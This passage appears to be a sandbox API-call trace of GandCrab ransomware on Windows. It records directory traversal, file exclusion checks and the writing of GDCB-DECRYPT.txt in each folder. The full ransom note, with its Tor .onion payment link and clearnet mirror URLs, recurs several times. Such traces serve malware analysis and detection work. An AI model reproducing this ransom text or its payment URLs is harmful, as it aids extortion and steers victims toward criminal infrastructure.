returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0053.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 66 [0053.763] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.763] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0053.763] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0053.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0053.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned 57 [0053.763] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.763] lstrcmpW (lpString1="tubcvd.exe", lpString2=".") returned 1 [0053.763] lstrcmpW (lpString1="tubcvd.exe", lpString2="..") returned 1 [0053.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="tubcvd.exe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" [0053.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 58 [0053.763] lstrcmpW (lpString1=".exe", lpString2=".sql") returned -1 [0053.763] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.763] lstrcmpW (lpString1="UProof", lpString2=".") returned 1 [0053.763] lstrcmpW (lpString1="UProof", lpString2="..") returned 1 [0053.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="UProof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" [0053.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof") returned 54 [0053.763] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.763] lstrcmpW (lpString1="Vault", lpString2=".") returned 1 [0053.763] lstrcmpW (lpString1="Vault", lpString2="..") returned 1 [0053.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Vault" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault" [0053.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault") returned 53 [0053.763] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.763] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0053.763] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0053.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0053.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned 55 [0053.763] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0053.763] lstrcmpW (lpString1="Word", lpString2=".") returned 1 [0053.763] lstrcmpW (lpString1="Word", lpString2="..") returned 1 [0053.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Word" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word" [0053.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word") returned 52 [0053.763] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0 [0053.763] FindClose (in: hFindFile=0x565640 | out: hFindFile=0x565640) returned 1 [0053.763] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.763] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\\\GDCB-DECRYPT.txt") returned 65 [0053.764] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.765] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.765] WriteFile (in: hFile=0x4f4, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285effc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285effc*=0xad6, lpOverlapped=0x0) returned 1 [0053.765] CloseHandle (hObject=0x4f4) returned 1 [0053.765] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.765] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned 48 [0053.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*" [0053.766] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0x565640 [0053.766] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.766] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.766] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.766] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.766] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.766] lstrcmpW (lpString1="AddIns", lpString2=".") returned 1 [0053.766] lstrcmpW (lpString1="AddIns", lpString2="..") returned 1 [0053.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="AddIns" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns" [0053.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\" [0053.766] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.766] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.766] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\") returned 55 [0053.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*" [0053.766] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5892e0 [0053.767] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.767] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.767] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.767] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.767] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.767] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0053.767] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.767] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\\\GDCB-DECRYPT.txt") returned 72 [0053.767] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\addins\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.768] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.768] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.768] CloseHandle (hObject=0x4f8) returned 1 [0053.769] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\") returned 55 [0053.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*" [0053.769] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5892e0 [0053.769] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.769] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.769] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.769] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.769] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.769] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.769] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt" [0053.769] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.769] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt") returned 71 [0053.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt") returned 71 [0053.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt") returned 71 [0053.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt") returned 71 [0053.769] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.769] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.769] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.769] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.769] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.769] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.769] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.769] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.769] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.769] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.770] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0053.770] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0053.770] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.770] lstrcmpW (lpString1="Bibliography", lpString2=".") returned 1 [0053.770] lstrcmpW (lpString1="Bibliography", lpString2="..") returned 1 [0053.770] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Bibliography" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" [0053.770] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\" [0053.770] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.770] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.770] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.770] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.770] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.770] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.770] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\") returned 61 [0053.770] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*" [0053.770] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5892e0 [0053.770] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.770] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.770] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.770] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.770] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.770] lstrcmpW (lpString1="Style", lpString2=".") returned 1 [0053.771] lstrcmpW (lpString1="Style", lpString2="..") returned 1 [0053.771] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0053.771] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 66 [0053.771] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.771] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0053.771] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.771] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\\\GDCB-DECRYPT.txt") returned 78 [0053.771] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.772] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.772] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.772] CloseHandle (hObject=0x4f8) returned 1 [0053.772] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.773] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\") returned 61 [0053.773] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*" [0053.773] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5892e0 [0053.773] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.773] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.773] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.773] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.773] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.773] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.773] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.773] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt" [0053.773] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.773] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt") returned 77 [0053.773] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt") returned 77 [0053.773] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt") returned 77 [0053.773] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt") returned 77 [0053.773] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.773] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.773] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.773] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.773] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.773] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.773] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.773] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.773] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.773] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.773] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.773] lstrcmpW (lpString1="Style", lpString2=".") returned 1 [0053.773] lstrcmpW (lpString1="Style", lpString2="..") returned 1 [0053.773] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0053.773] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0053.774] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.774] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.774] SHGetSpecialFolderPathW (in: 